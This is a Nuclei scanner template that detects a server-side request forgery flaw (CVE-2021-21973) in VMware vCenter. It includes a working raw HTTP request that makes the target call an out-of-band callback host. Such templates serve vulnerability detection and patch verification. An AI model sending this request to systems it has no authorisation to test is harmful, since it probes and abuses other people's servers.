id: CVE-2021-21973

info:
  name: VMware vSphere - Server-Side Request Forgery
  author: pdteam
  severity: medium
  description: VMware vSphere (HTML5) is susceptible to server-side request forgery due to improper validation of URLs in a vCenter Server plugin. An attacker with network access to port 443 can exploit this issue by sending a POST request to the plugin. This affects VMware vCenter Server (7.x before 7.0 U1c, 6.7 before 6.7 U3l, and 6.5 before 6.5 U3n) and VMware Cloud Foundation (4.x before 4.2 and 3.x before 3.10.1.2).
  remediation: |
    Apply the necessary security patches or updates provided by VMware to mitigate this vulnerability.
  reference:
    - https://twitter.com/osama_hroot/status/1365586206982082560
    - https://twitter.com/bytehx343/status/1486582542807420928
    - https://www.vmware.com/security/advisories/VMSA-2021-0002.html
    - https://nvd.nist.gov/vuln/detail/CVE-2021-21973
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2021-21973
    cwe-id: CWE-918
    epss-score: 0.33116
    epss-percentile: 0.96547
    cpe: cpe:2.3:a:vmware:cloud_foundation:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: vmware
    product: cloud_foundation
  tags: cve,cve2021,vmware,ssrf,vcenter,oast,kev

http:
  - raw:
      - |
        GET /ui/vropspluginui/rest/services/getvcdetails HTTP/1.1
        Host: {{Hostname}}
        Vcip: {{interactsh-url}}
        Vcpassword: {{rand_base(6)}}
        Vcusername: {{rand_base(6)}}
        Reqresource: {{rand_base(6)}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "The server sent HTTP status code 200"

      - type: status
        status:
          - 500
# digest: 4a0a00473045022100f20dbbc3c573b9a3646a4d8f26f2857ab4db1b2664dd651a212be697b72f221d02200b516db71a3961b3bc987efc6908509fc61633112ad20c12aeeec62a789ea033:922c64590222798bb761d5b6d8e72950